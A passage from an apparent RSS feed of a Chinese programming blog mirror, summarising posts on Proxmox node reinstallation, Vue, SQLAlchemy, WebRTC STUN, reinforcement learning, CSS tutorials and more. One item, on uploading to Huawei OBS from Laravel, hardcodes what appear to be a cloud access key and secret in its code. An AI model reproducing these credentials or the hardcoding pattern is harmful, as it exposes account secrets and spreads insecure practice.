      <description>注意：&#xA;逐一重装系统／重新加入PVE集群／重新加入CEPH集群；&#xA;先禁用ceph的recover，避免其因OSD丢失重建：任一节点执行：&#xA;for i in noout nobackfill norecover;do ceph osd set $i;done&#xA;重新加入pve集群前确保已经从集群中删除&#xA;步骤&#xA;备份配置和证书 备份到/root/bak/目录下，然后打包拷贝到其他地方保存(别忘了，否则就不能还原了)：&#xA;systemctl stop pvestatd.service&#xA;systemctl stop pvedaemon.service&#xA;systemctl stop pve-cluster.service&#xA;tar -czf /root/bak/pve-cluster-backup.tar.gz /var/lib/pve-cluster&#xA;tar -czf /root/bak/ssh-backup.tar.gz /root/.ssh&#xA;tar -czf /root/bak/corosync-backup.tar.gz /etc/corosync&#xA;cp /etc/hosts /root/bak/&#xA;cp /etc/network/interfaces /root/bak/&#xA;tar cjvf bak-$(hostname).tgz /root/bak&#xA;从pve集群删除节点 节点xxx关机，然后在其他节点删除该节点，下面的xxx就是节点名：&#xA;pvecm nodes&#xA;pvecm delnode xxx&#xA;pvecm updatecerts&#xA;重新安装PVE 尽量和以前一致，尤其主机名/IP地址。&#xA;恢复备份的配置和证书 把刚才的备份拷贝回来还原，按照原来的目录&#xA;tar xjvf bak-xxx.tgz&#xA;cp /root/bak/hosts /etc/hosts&#xA;cp /root/bak/interfaces /etc/network/interfaces</description>
    </item>
    <item>
      <title>vue实现两个区域滚动条同步滚动</title>
      <link>https://bchobby.github.io/posts/989a33b4e2e5f94cd699c2a2bbc98943/</link>
      <pubDate>Tue, 14 Jul 2020 18:03:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/989a33b4e2e5f94cd699c2a2bbc98943/</guid>
      <description>项目开发中，遇到一个比较两个form差异的需求，但当item过多就需要滚动条，这里就用到了滚动条同步的地方，其实原理和git的差异比较差不多，这里来做一下分析。这是效果图&#xA;要点分析：&#xA;其实主要是通过ref属性来操控两个div的scrollTop属性&#xA;&amp;lt;div class=&#34;customer-span&#34; ref=&#34;systemForm&#34; @scroll=&#34;sysHandleScroll()&#34; @mouseover=&#34;changeFlag(false)&#34;&amp;gt; &amp;lt;div class=&#34;customer-span-form&#34;&amp;gt; &amp;lt;el-form label-suffix=&#34;:&#34; class=&#34;form-static&#34; label-position=&#34;right&#34; label- width=&#34;100px&#34;&amp;gt; &amp;lt;el-form-item v-for=&#34;(item, index) in formItem&#34; :key=&#34;index&#34; :label=&#34;item.label&#34;&amp;gt; {{ systemFormData[item.model] }} &amp;lt;/el-form-item&amp;gt; &amp;lt;/el-form&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;customer-span&#34; ref=&#39;externalForm&#39; @scroll=&#34;exterHandleScroll()&#34; @mouseover=&#34;changeFlag(true)&#34;&amp;gt; &amp;lt;div class=&#34;customer-span-form&#34;&amp;gt; &amp;lt;el-form label-suffix=&#34;:&#34; class=&#34;form-static&#34; label-position=&#34;right&#34; label- width=&#34;100px&#34;&amp;gt; &amp;lt;el-form-item v-for=&#34;(item, index) in formItem&#34; :key=&#34;index&#34; :label=&#34;item.label&#34;&amp;gt; {{ externalFormData[item.model] }} &amp;lt;/el-form-item&amp;gt; &amp;lt;/el-form&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; js部分&#xA;data() { return { flag: false } }, method: { changeFlag(flag) { this.</description>
    </item>
    <item>
      <title>sqlalchemy-自定义数据类型</title>
      <link>https://bchobby.github.io/posts/c959fcdd707d8fd36b3c81fedb01226a/</link>
      <pubDate>Tue, 14 Jul 2020 09:25:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c959fcdd707d8fd36b3c81fedb01226a/</guid>
      <description>目录&#xA;前言&#xA;实现原理&#xA;案例&#xA;前言 sqlalchemy包含了mysql支持的所有的数据类型，我们平时的使用基本上都能够满足了。&#xA;但是，有一种情况比较特殊，就是mysql不能存储json数据，自然，sqlalchemy也没有对应json的数据类型。&#xA;这次在项目中，我需要在mysql中存储一个结构化的数据：JSON数据。那么，能实现吗？&#xA;实现原理 是可以实现的，因为sqlalchemy提供了一个类：TypeDecorator。这个类可以定义某个现存的数据类型的行为，文档原话：&#xA;Allows the creation of type which add addtional functionality to an existing type&#xA;TypeDecorator提供了两个方法作为存入mysql前 与 从mysql取出数据后 的两个操作，有点钩子函数的意思。分别为：&#xA;def process_bind_param(self, value, dialect): pass def process_result_value(self, value, dialect): pass 正是通过这两个函数改变了基本类型的表现方式。可以看下面的例子&#xA;案例 为一个数据类型添加前缀&#xA;from sqlalchemy import TypeDecorator, String class MyType(TypeDecorator): impl = String # impl必须存在，指定基于的数据类型 def process_bind_param(self, value, dialect): return &#34;PREFIX:&#34; + value def process_result_value(self, value, dialect): return value[7:] 由于它可以改变数据行为，我就想到了我们可以基于String或者Text类型来实现json数据，配合json包的dumps和loads即可。具体实现代码如下：&#xA;import json from sqlalchemy import Text, TypeDecorator class Json(TypeDecorator): impl = Text def process_bind_param(self, value, dialect): return json.</description>
    </item>
    <item>
      <title>华为云OBS配合laravel文件上传解决composer安装时候与框架依赖冲突问题</title>
      <link>https://bchobby.github.io/posts/6b3a48af57950300a6d2baf6b40bd123/</link>
      <pubDate>Mon, 13 Jul 2020 21:50:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b3a48af57950300a6d2baf6b40bd123/</guid>
      <description>华为云OBS配合laravel文件上传解决composer安装时候与框架依赖冲突问题 Tp5框架测试也是适用的&#xA;1.在vendor目录下新建obs文件夹 结构如下图 sdk下载地址&#xA;链接: php sdk链接.&#xA;2.在public目里下index.php文件中加入以下代码&#xA;require __DIR__.&#39;/../vendor/obs/vendor/autoload.php&#39;; require __DIR__.&#39;/../vendor/obs/obs-autoloader.php&#39;; use Obs\ObsClient; use Obs\ObsException; 3.在上传文件控制器UploadController中加入以下代码&#xA;use Obs\ObsClient; //头部加入这段代码 /** * 上传图片 * @param Request $request * @return \Symfony\Component\HttpFoundation\Response */ public function uploadImage(Request $request) { $localfile = $request-&amp;gt;file()[&#39;image&#39;]-&amp;gt;getPathname(); // 创建ObsClient实例 $obsClient = new ObsClient([ &#39;key&#39; =&amp;gt; &#39;PRMKOZAQCQTQPL39U5CGN&#39;, &#39;secret&#39; =&amp;gt; &#39;q5O6k88LUPnAQbBNIXykkjOEP3UM3VjlqE1ztrzm&#39;, &#39;endpoint&#39; =&amp;gt; &#39;obs.cn-east-3.myhuawicl3oud.com&#39;, ]); $resp = $obsClient-&amp;gt;putObject([ &#39;Bucket&#39; =&amp;gt; &#39;cmsobs20200713&#39;, &#39;Key&#39; =&amp;gt; date(&#34;Y-m-d H:i:s&#34;).&#34;.png&#34;, &#39;SourceFile&#39; =&amp;gt; $localfile // localfile为待上传的本地文件路径，需要指定到具体的文件名 ]); $response[&#39;code&#39;] = 0; $response[&#39;msg&#39;] = &#34;</description>
    </item>
    <item>
      <title>java获取客户端ip地址</title>
      <link>https://bchobby.github.io/posts/20cae2e27418645b9cd1d4bf3e5f2200/</link>
      <pubDate>Mon, 13 Jul 2020 20:42:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20cae2e27418645b9cd1d4bf3e5f2200/</guid>
      <description>了解详情请看原文&#xA;总结：&#xA;无反向代理直接访问的使用这个&#xA;request.getRemoteAddr()&#xA;多层Nginx代理的使用这个&#xA;request.getHeader(“X-Forwarded-For”)&#xA;只有一层网络代理的使用这个&#xA;request.getHeader(“X-Real-IP”) 192.168.238.218&#xA;涉及网络代理的需要设置，详情请看原文</description>
    </item>
    <item>
      <title>定义一个学生类CStudent,私有数据成员包括name (姓名)、id(学号)、math (数学成绩) 和english(英语成绩)，私有静态数据成员包括 count (学生总人数）（转载）</title>
      <link>https://bchobby.github.io/posts/b5d28fcf1e6e74c76137cdff702ac1af/</link>
      <pubDate>Mon, 13 Jul 2020 17:19:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5d28fcf1e6e74c76137cdff702ac1af/</guid>
      <description>定义一个学生类CStudent,私有数据成员包括name (姓名)、id(学号)、math (数学成绩)&#xA;t题目要求&#xA;#include&#xA;#include&amp;lt;string.h&amp;gt;&#xA;using namespace std;&#xA;class CStudent&#xA;{&#xA;private:&#xA;int id;&#xA;string name;&#xA;int math;&#xA;int english;&#xA;static int count;&#xA;static int mathc;&#xA;static int englishc;&#xA;public:&#xA;void setms()&#xA;{&#xA;cout &amp;lt;&amp;lt; &#34;name id math english&#34; &amp;lt;&amp;lt; endl; cin &amp;gt;&amp;gt; name &amp;gt;&amp;gt; id &amp;gt;&amp;gt; math &amp;gt;&amp;gt; english; count++; mathc = mathc + math; englishc = englishc + english; } int add() { return math + english; } void outms() { cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>力扣解题思路：分割数组/背包问题（动态规划）纠错记录</title>
      <link>https://bchobby.github.io/posts/73f8255fab159a93cb3c21fbfe1c38e3/</link>
      <pubDate>Mon, 13 Jul 2020 09:45:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73f8255fab159a93cb3c21fbfe1c38e3/</guid>
      <description>416. 分割等和子集 思路：题目：给定一个只包含正整数的非空数组。是否可以将这个数组分割成两个子集，使得两个子集的元素和相等。举个例子： Input: [1, 5, 11, 5] Output: true Explanation: The array can be partitioned as [1, 5, 5] and [11]. 显然这就是一个0-1背包问题背包问题的讲解可以参考这里o(￣▽￣)ブ首先我们的目的是确定背包的容量，也就是sum / 2，而且不多不少刚好sum / 2，当然sum也必须是个偶数，否则返回false，每个物品也就是数组里的每个元素，可以放也可以不放，那么我们用二位动态规划数组来记录更新过程，dp[m][n] 考虑是否将第m个数字放入容量为n的背包，那么状态转移方程：&#xA;dp[m][n] = dp[m-1][n] || dp[m-1][n-nums[m]]&#xA;当然我们还需要对数组进行初始化（这里写一个循环是为了避免nums[0]比c大的这种情况，但测试用例中似乎没有出现这种情况）：&#xA;for(int i=0; i&amp;lt;=c; i++){ if(i!=nums[0]){ dp[0][i] = false; }else{ dp[0][i] = true; } } 当然初始化也可以这样：&#xA;dp[0][0] = true; dp[0][nums[0]] = true; 因为i=0时只有这两种可能，就是放一个nums[0]刚好满了，或者不放nums[0]（什么都不妨）也能刚好满（因为背包大小为0）。完整代码如下：&#xA;public boolean canPartition(int[] nums) { //动态规划，背包问题，从nums中选择一部分数字组合，填满容量为sum/2的背包 int n=nums.length; if(n == 0){ return false; } int sum = 0; for(int i=0; i&amp;lt;n; i++){ sum+=nums[i]; } int c = sum/2; if(sum%2==1){ return false; } boolean[][] dp = new boolean[n][c+1]; //状态初始化 for(int i=0; i&amp;lt;=c; i++){ if(i!</description>
    </item>
    <item>
      <title>WebRTC网络基础 九、第四节 STUN协议</title>
      <link>https://bchobby.github.io/posts/08111020faec2474b7445fbd45cfe923/</link>
      <pubDate>Sun, 12 Jul 2020 16:34:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08111020faec2474b7445fbd45cfe923/</guid>
      <description>今天我们来介绍一些STUN协议。&#xA;STUN存在的目的就是进行NAT穿越 STUN 存在的目的就是进行NAT穿越，NAT有四种类型，每种类型如何穿越它的基本原理是什么，都是属于STUN协议中的一部分。&#xA;STUN是典型的客户端/服务器模式。客户端发送请求，服务端进行响应 RFC STUN规范 RFC STUN规范中，实际上有两套STUN规范&#xA;第一套叫做RFC3489/STUN Simple Traversal of UDP Through NAT&#xA;它就是将STUN定义成简单的通过UDP进行NAT穿越的一套规范，也就是告诉你如何一步一步通过UDP进行穿越，但是这套规范在穿越的过程中还是存在很多问题，尤其是现在的网络路由器对UDP的限制比较多，有的路由器甚至不允许进行UDP传输，所以这就导致了我们通过RFC3489这套规范进行NAT穿越的时候它的失败率会非常高。所以为了 解决这个问题，又定义了另一套标准，RFC5389.&#xA;第二套叫做RFC5389/STUN Session Traversal Utilities for NAT&#xA;RFC5389是在RFC3489的基础上又增加了一些功能，但是它对整个STUN的描述就不一样了, 它是把STUN描述成一系列穿越NAT的工具，所以都叫STUN，但是他们的含义完全就不一样了。RFC5389在UDP尝试可能失败的情况下，尝试使用TCP，也就是说RFC5389是包括UDP和TCP的两种协议进行NAT穿越的，这是两套规范最本质的区别。当然在协议的具体内容上，包括协议头还有协议体中的属性都有很多的变化，但是那些都不是最关键的，最关键的是RFC5389里面将TCP纳入进来。你可以通过TCP进行穿越。&#xA;这是STUN 的RFC的两套规范。大家一定要清楚，尤其是查文档的 时候一定要清楚查询的是哪一套规范。&#xA;下面我们就具体看看这个STUN协议 包括20字节的STUN header&#xA;Body中可以有0个或多个Attribute&#xA;STUN这个协议它是包括了消息头和消息体，消息头是20字节固定的消息头，Body中可以有0个或者多个Attribute属性，后面我们会 介绍属性的作用。&#xA;那么这20字节头是由哪些组成呢？&#xA;其中2个字节（16bit）类型&#xA;2个字节(16bit)消息长度，不包括消息头&#xA;在网络协议中有很多的协议规范，它的这个消息头中都有长度，有的是包括这个头的有的是不包括这个头的，这个大家一定要记清楚 。&#xA;对于STUN来说，消息头的长度length是不包括消息头的；&#xA;16个字节(128bit)事物 ID，请求与响应事物ID相同&#xA;第三个是事物ID，它是16字节或128bit组成，它的作用就是请求和响应事物是相同的ID，用于请求与响应的匹配的；比如我客户端 发送了好几个请求，那服务端对于每一个请求都要返回一个响应 ，那怎么知道某个响应是对应到的请求呢，就通过这个事物ID。&#xA;如果它事物ID号相同，说明这两是匹配的，整个逻辑就知道怎么做了，否则的话就很难判断。所以它有三部分组成，第一是两个字节的类型，第二是两个类型的消息长度，不包括这个消息头，第三个是16字节的128位的事物ID，请求与响应的匹配。这个是消息头。&#xA;我们再来看消息头的格式&#xA;上图的格式是最新的RFC5389的格式，刚刚我们上面说三个的是RFC3489，那么RFC5389和RFC3489之间有什么区别呢？&#xA;首先我看消息类型，消息类型的最低两位必须是 0 0，就是RFC5389最新的协议 ，这是第一点的不同；第二点的不同是，事物ID，老的里面是128位事物ID，在新的里面是 96位，其中有32位单独划出来了单独作为 Magic Cookie，一个魔法树，这就是RFC3489和5389的STUN消息头的区别。&#xA;下面我们再来看每一项，首先是这个Massage Type&#xA;STUN Message Type 前两位必须是00，以区分复用同一端口时STUN协议&#xA;就是不同的协议复用同一个端口的时候，用它来区分哪个是STUN协议哪个不是STUN协议，这是两位00的作用。&#xA;2位用于分类，即C0和C1&#xA;剩下的14位中有两位用于分类，就是C0和C1，C0和C1是占两位，所以它有四种类型，也就是四个分类，第一种是请求，第二种 是指示，第三种是成功，第四种是错误应答，所以它将Message Type消息类型分成了四类。&#xA;12位用于定义请求/指示&#xA;剩下的12位是用于不同请求的定义，比如1代表绑定，2代表私有消息隐私数据，……，但是在STUN 3489里面定义了两个，就是用 这12位定义了两种，但是5389里面就一种，一种就够了。下图就是STUN Message Type的结构。</description>
    </item>
    <item>
      <title>2.策略梯度（Policy Gradient）&#43;Gradient Ascent</title>
      <link>https://bchobby.github.io/posts/fe88717b1d7e03228c1e82fcab8cfdc4/</link>
      <pubDate>Sun, 12 Jul 2020 11:45:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe88717b1d7e03228c1e82fcab8cfdc4/</guid>
      <description>目录 深度强化学习目录&#xA;简介 策略梯度，顾名思义，就是优化策略的梯度。我们之前讲了Policy-based和Value-based，而Policy-based方法就是直接训练策略的一组参数。如何训练？策略梯度就是一种方法。&#xA;基本思路 要训练一个Policy-based的方法，其实只需要三步。&#xA;第一步，用一个神经网络作为策略自身，神经网络的参数为 θ \theta θ。第二步，设置一个Loss function，告诉神经网络什么样的策略是好的。第三步，得到最佳策略。 符号 τ \tau τ：一轮游戏中的具体过程（trajectory）， τ = { s 1 , a 1 , r 1 , s 2 , a 2 , r 2 , … , s T , a T , r T } \tau=\{s_1,a_1,r_1,s_2,a_2,r_2,\ldots,s_T,a_T,r_T\} τ={s1​,a1​,r1​,s2​,a2​,r2​,…,sT​,aT​,rT​}，是状态-行为-奖赏的时间序列。 p ( τ ∣ θ ) p(\tau \vert \theta) p(τ∣θ)：参数为 θ \theta θ时，采取过程 τ \tau τ的概率。 τ n \tau^n τn：根据 p ( τ ∣ θ ) p(\tau \vert \theta) p(τ∣θ)采样出来的过程 τ \tau τ，上标 n n n代表是采样第 n n n次的得到的过程。 R θ R_\theta Rθ​：参数为 θ \theta θ时在一轮游戏中的累积奖赏， R θ = ∑ r t R_\theta=\sum r_t Rθ​=∑rt​。 R ( τ ) R(\tau) R(τ)：游戏过程中所获取的奖赏的总和， R ( τ ) = ∑ t = 1 T r t R(\tau)=\sum_{t=1}^{T} r_t R(τ)=∑t=1T​rt​ π θ \pi_\theta πθ​：使用参数 θ \theta θ的策略 π \pi π。由于我们采取神经网络，所以实际上策略 π \pi π和参数 θ \theta θ是基本可以看作绑定在一起的。 目标函数 J ( θ ) J(\theta) J(θ) 第一步没什么好说的，输入状态，输出对每一个动作的选取概率，这就是神经网络，至于具体用CNN还是ResNet之类的，看实际情况来决定，我们先来说说Loss function。</description>
    </item>
    <item>
      <title>vue（21）：前后端交互（获取后台数据）</title>
      <link>https://bchobby.github.io/posts/3f6ab3dd6fcabf0c2d777279a4b64975/</link>
      <pubDate>Sun, 12 Jul 2020 10:09:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f6ab3dd6fcabf0c2d777279a4b64975/</guid>
      <description>接口调用方式&#xA;原生ajax基于jQuery的ajaxfetchaxios Promise 概述&#xA;Promise时异步编程的一种解决方案，从语法上将，Promise是一个对象，从它可以获取异步操作的消息&#xA;优点：&#xA;可以避免多层异步调用嵌套问题（回调地狱）Promise对象提供了简介的API，使得异步操作更加容易 基本用法：&#xA;实例化Promise对象，构造函数中传递函数，该函数用于处理异步任务resolve和reject两个参数用于处理成功和失败两种情况，并通过then函数获取处理结果 格式：&#xA;var p=new Promise(function(resolve,reject){ //成功调用resolve() //失败调用reject }) p.then(function(ret){ //从resolve得到正常结果 },function(ret){ //从reject得到错误信息 }) 实例：基本使用格式&#xA;var p = new Promise(function(resolve, reject) { setTimeout(function() { var flog = true if (flog) { //正常情况 resolve(&#39;Hello&#39;) } else { //异常情况 reject(&#39;错误&#39;) } }, 100) }) p.then(function(ret) { console.log(ret) }, function(ret) { console.log(ret) }) 实例：基于Promise发送Ajax请求&#xA;function queryData(url) { var p = new Promise(function(resolve, reject) { //ajax var xml = new XMLHttpRequest(); xml.</description>
    </item>
    <item>
      <title>EMC | 静电放电抗扰度试验与整改</title>
      <link>https://bchobby.github.io/posts/4d4089e1c19bfbc4a0c59c72a3134e19/</link>
      <pubDate>Sat, 11 Jul 2020 18:18:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d4089e1c19bfbc4a0c59c72a3134e19/</guid>
      <description>​&#xA;概 述&#xA;静电放电是一种自然现象，当两种不同介电强度的材料互相摩擦时就会产生静电电荷，如果其中一种材料的静电电荷积累到一定程度，并与另外一个物体接触时，就会通过这个物体到大地的阻抗进行放电，当设备发生接触或者空气放电后，附着在设备内部电路板或者元器件的阻抗较小，所以二次放电的危害有可能比一次放电更大。静电放电及其影响是电子设备的一个主要干扰源。&#xA;静电放电多发生于人体接触半导体器件时，有可能导致半导体材料击穿，产生不可逆的损坏，静电放电及有此产生的电磁场变化可能危害电子设备的正常工作。&#xA;静电放电抗扰度试验模拟了以下两种情况：&#xA;1.设备操作人员直接触摸设备时对设备的放电和放电对设备的影响（直接放电）&#xA;2.设备操作人员在触摸附近设备时对所关心的设备的影响（间接放电）&#xA;接触放电&#xA;电路中150pF电容代表人体的储能电容，330Ω电阻代表人体的手握钥匙和其他金属工具时的人体电阻，标准认为用这种人体放电模型（包括电容容量和电阻值）来描述静电放电时足够严酷的。&#xA;1.直接放电：人手可以触摸到部位都要进行静电放电试验&#xA;2.间接放电：间接放电即对耦合板进行放电&#xA;空气放电&#xA;静电放电可能造成的后果：&#xA;1.直接放电可引起设备中半导体器件损坏，从而造成设备的永久性失效；&#xA;2.设备的误动作，这是由放电（可能是直接放电，也可能是间接放电）而引起的近场电磁场变化造成的；&#xA;不接地设备&#xA;关于不接地的设备或者设备中不接地的部件不能直接进行连续放电试验，如果下一次ESD脉冲施加之前不能将电荷释放，就有可能使EUT达到所施加电压的两倍，因此这样连续打几次之后EUT可能被不切实际的充电至很多电荷，最终以非常高的能量在绝缘体的击穿电压点上放电；因此为了保证两次静电放电试验之间电荷已经完全释放需要在EUT上加泄放电阻或者静置时间够长使电荷自然衰减；&#xA;整 改&#xA;静电放电抗扰度不通过整改主要从两方面&#xA;泄放：PCB布局时要留有良好的泄放路径，让从插件，外壳，按键等人体可以接触的地方受到的静电快速泄放掉，并且绕开敏感器件比如CPU的复位电路；&#xA;消除：所有对外的接口都要加ESD /TVS器件防护；&#xA;生命不息、学习不止，加油！</description>
    </item>
    <item>
      <title>CAP理论-分布式系统的基础理论-------CP、AP案例场景分析</title>
      <link>https://bchobby.github.io/posts/e0bb57bc513d911986c85cd17aab0993/</link>
      <pubDate>Fri, 10 Jul 2020 19:40:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0bb57bc513d911986c85cd17aab0993/</guid>
      <description>一、前言： CAP理论作为分布式系统的基础理论,它描述的是一个分布式系统在以下三个特性，只能满足其中两个特性，一致性、可用性、分区容错性三者不可兼得：&#xA;一致性（Consistency）可用性（Availability）分区容错性（Partition tolerance） 如何做到分布式系统具备高可用？？&#xA;常规的思路就是冗余，增加节点，当A节点挂掉，还有B节点提供服务，但是节点多了之后，数据一致性又很难保障了！！！&#xA;如何提升数据一致性？？&#xA;减少节点，最好就是单点服务，但是节点少了，可用性又很难保障，这么看一致性和高可用就是一个对立面。&#xA;二、案例分析()： 1、AP案例分析-SpringCloud-Eureka 图示，注册中心采用集群部署，满足高可用的特性，当订单服务在扩容的时候，新增订单服务实例4，数据注册到Eureka A节点，在其余的两个节点没有订单服务4这个实例信息，这种情况下，用户服务获取服务列表，可能获取不到订单实例4，这就是最简单的数据不一致情况。&#xA;Eureka集群本身，各个节点都处于平等的地位，完全是为了冗余，提升高可用。&#xA;2、CP案例分析-Zookeeper 知识点预热：&#xA;ZooKeeper 集群中的角色简介：&#xA;Leader： 负责发起投票和决议，更新系统状态&#xA;Follower：用于接收客户端请求并向客户端返回结果，在选主过程中参与投票&#xA;Observer： 可以接收客户端连接，将写请求转发给 Leader 节点，但不会参与 Leader 发起的投票，也不会被选举为 Leader，Observer 的目的是为了扩展系统，提高读取速度&#xA;在第二步，当Follower发现Leader节点挂了之后，Follower会拒绝现有的客户端连接，参与主从选举，在成功选举出leader之前，zk将不可用；这个时候如果ZK作为注册中心，注册中心将不可用。&#xA;注：图片来自百度</description>
    </item>
    <item>
      <title>webrtc NACK 抓包</title>
      <link>https://bchobby.github.io/posts/abf209beb13a0177b99b48e2738cc130/</link>
      <pubDate>Fri, 10 Jul 2020 17:07:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abf209beb13a0177b99b48e2738cc130/</guid>
      <description>https://blog.csdn.net/CrystalShaw/article/details/81218394</description>
    </item>
    <item>
      <title>css checkbox_如何使用CSS Checkbox Hack构建简单的幻灯片</title>
      <link>https://bchobby.github.io/posts/4fb29417fb4042770dafa51fb2d9e60b/</link>
      <pubDate>Fri, 10 Jul 2020 16:15:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4fb29417fb4042770dafa51fb2d9e60b/</guid>
      <description>css checkbox&#xA;在这个新教程中，我们将学习如何从头开始创建具有缩略图的功能齐全的响应式图像幻灯片。 为此，我们不需要编写任何JavaScript代码。 实际上，再次利用“ CSS复选框黑客技术”，我们将仅使用HTML和CSS。 我们的响应式CSS幻灯片 这是我们将在本教程中创建的幻灯片 （请确保查看完整的CodePen版本以防止页面跳至顶部）： 1.从HTML标记开始 在本练习中，我们将从Unsplash中获取三张图像。 然后，我们将创建相应的单选按钮，并将其分组在image关键字下： &amp;lt;input type=&#34;radio&#34; id=&#34;image1&#34; name=&#34;image&#34; checked&amp;gt;&#xD;&amp;lt;input type=&#34;radio&#34; id=&#34;image2&#34; name=&#34;image&#34;&amp;gt;&#xD;&amp;lt;input type=&#34;radio&#34; id=&#34;image3&#34; name=&#34;image&#34;&amp;gt; 接下来，我们将.featured-wrapper和.thumb-list元素放入容器中。 .featured-wrapper元素将包含三个列表： 第一个列表将保存幻灯片图像。 一次只会显示一个图像。 其他两个相同的列表将用于在图像/幻灯片之间导航。 两个列表都将包含其for值与上述单选按钮的id值匹配的标签。 提示：在我们的示例中，我们将单选按钮与多个标签相关联。 这是完全有效的 。 .thumb-list元素还将包括幻灯片图像及其描述。 但是，与.featured-list元素的图像不同，这些图像将始终可见并用于缩略图导航。 简而言之，我们的幻灯片演示将使用户能够通过点，箭头和缩略图在幻灯片之间切换。 Niiice！ 最终HTML结构 默认情况下，第一张图像应该是可见/活动的。 考虑到这一点，我们将checked属性添加到第一个单选按钮。 放在一起，这是我们容器的结构： &amp;lt;div class=&#34;container&#34;&amp;gt;&#xD;&amp;lt;div class=&#34;featured-wrapper&#34;&amp;gt;&#xD;&amp;lt;ul class=&#34;featured-list&#34;&amp;gt;&#xD;&amp;lt;li&amp;gt;&#xD;&amp;lt;figure&amp;gt;&#xD;&amp;lt;img src=&#34;IMG_SRC&#34; alt=&#34;&#34;&amp;gt;&#xD;&amp;lt;/figure&amp;gt;&#xD;&amp;lt;/li&amp;gt;&#xD;&amp;lt;!-- other two list items here --&amp;gt;&#xD;&amp;lt;/ul&amp;gt;&#xD;&amp;lt;ul class=&#34;arrows&#34;&amp;gt;&#xD;&amp;lt;li&amp;gt;&#xD;&amp;lt;label for=&#34;image1&#34;&amp;gt;&amp;lt;/label&amp;gt;&#xD;&amp;lt;/li&amp;gt;&#xD;&amp;lt;li&amp;gt;&#xD;&amp;lt;label for=&#34;</description>
    </item>
    <item>
      <title>css实现贝塞尔静态图_使用高级CSS条形图构建静态投资组合</title>
      <link>https://bchobby.github.io/posts/f02097b0e98c994e5e9481c57b08c353/</link>
      <pubDate>Fri, 10 Jul 2020 16:05:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f02097b0e98c994e5e9481c57b08c353/</guid>
      <description>css实现贝塞尔静态图&#xA;在上一篇文章中 ，我向您展示了如何构建漂亮的全屏投资组合页面。 在该教程中，我们还学习了如何创建响应式CSS柱形图。 在本教程中，我们将构建另一个吸引人的静态投资组合页面，这次以纯CSS条形图为特色，而无需使用任何外部JavaScript库，SVG或canvas元素！ 我们正在建设什么 这是我们将创建的项目： 我们有很多令人兴奋的事情要介绍，所以让我们开始吧！ 1.从页面标记开始 页面标记由标题和三个全屏部分组成： &amp;lt;header class=&#34;position-fixed text-lightblue page-header&#34;&amp;gt;...&amp;lt;/header&amp;gt;&#xD;&amp;lt;section class=&#34;d-flex justify-content-center align-items-center vh-100&#34;&amp;gt;...&amp;lt;/section&amp;gt;&#xD;&amp;lt;section class=&#34;d-flex vh-100 bg-lightwhite&#34;&amp;gt;...&amp;lt;/section&amp;gt;&#xD;&amp;lt;section class=&#34;d-flex flex-column justify-content-center align-items-center vh-100 position-relative&#34;&amp;gt;...&amp;lt;/section&amp;gt; 注意 ：除了元素的特定类之外，我们的标记还包含许多实用程序（帮助程序）类。 我们将使用这种方法使CSS尽可能保持DRY 。 但是，出于可读性考虑，在CSS内，我们将不对通用CSS规则进行分组。 2.定义一些基本样式 按照上面刚刚讨论的内容，我们首先指定一些重置规则以及一些帮助程序类： :root {&#xD;--gray: #cbcfd3;&#xD;--white: white;&#xD;--black: #1a1a1a;&#xD;--lightwhite: whitesmoke;&#xD;--lightblue: #009dd3;&#xD;--peach: #ff9469;&#xD;--transition-delay: 0.3s;&#xD;--transition-delay-step: 0.3s;&#xD;--skills-width: 120px;&#xD;}&#xD;* {&#xD;padding: 0;&#xD;margin: 0;&#xD;box-sizing: border-box;&#xD;}&#xD;ul {&#xD;list-style: none;&#xD;}&#xD;a {&#xD;text-decoration: none;&#xD;color: inherit;&#xD;}&#xD;.</description>
    </item>
    <item>
      <title>css 加载动画_使用CSS动画增强网页加载的方式</title>
      <link>https://bchobby.github.io/posts/33a698805a457e2946aecbabe95d1f8a/</link>
      <pubDate>Fri, 10 Jul 2020 15:35:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33a698805a457e2946aecbabe95d1f8a/</guid>
      <description>css 加载动画&#xA;在上一个教程中，我们使用flexbox创建了一个全屏响应页面。 今天，我们将通过添加一些CSS动画来使此页面更具吸引力。 这是我们要构建的： 1. HTML 为了添加所需的动画，我们将略微更新初始页面标记。 在上一个教程中，我们main元素的标记如下所示： &amp;lt;main class=&#34;page-main&#34;&amp;gt;&#xD;&amp;lt;div&amp;gt;&#xD;&amp;lt;h1&amp;gt;...&amp;lt;/h1&amp;gt;&#xD;&amp;lt;p&amp;gt;...&amp;lt;/p&amp;gt;&#xD;&amp;lt;p&amp;gt;...&amp;lt;/p&amp;gt;&#xD;&amp;lt;/div&amp;gt;&#xD;&amp;lt;/main&amp;gt; 出于本教程的目的，我们将添加一些额外的包装器，将其更改为： &amp;lt;main class=&#34;page-main&#34;&amp;gt;&#xD;&amp;lt;div&amp;gt;&#xD;&amp;lt;div class=&#34;text-wrapper&#34;&amp;gt;&#xD;&amp;lt;h1&amp;gt;...&amp;lt;/h1&amp;gt;&#xD;&amp;lt;/div&amp;gt;&#xD;&amp;lt;div class=&#34;text-wrapper p-wrapper&#34;&amp;gt;&#xD;&amp;lt;p&amp;gt;...&amp;lt;/p&amp;gt;&#xD;&amp;lt;/div&amp;gt;&#xD;&amp;lt;div class=&#34;text-wrapper p-wrapper&#34;&amp;gt;&#xD;&amp;lt;p&amp;gt;...&amp;lt;/p&amp;gt;&#xD;&amp;lt;/div&amp;gt;&#xD;&amp;lt;/div&amp;gt;&#xD;&amp;lt;/main&amp;gt; 以下是修改后的整体页面标记： 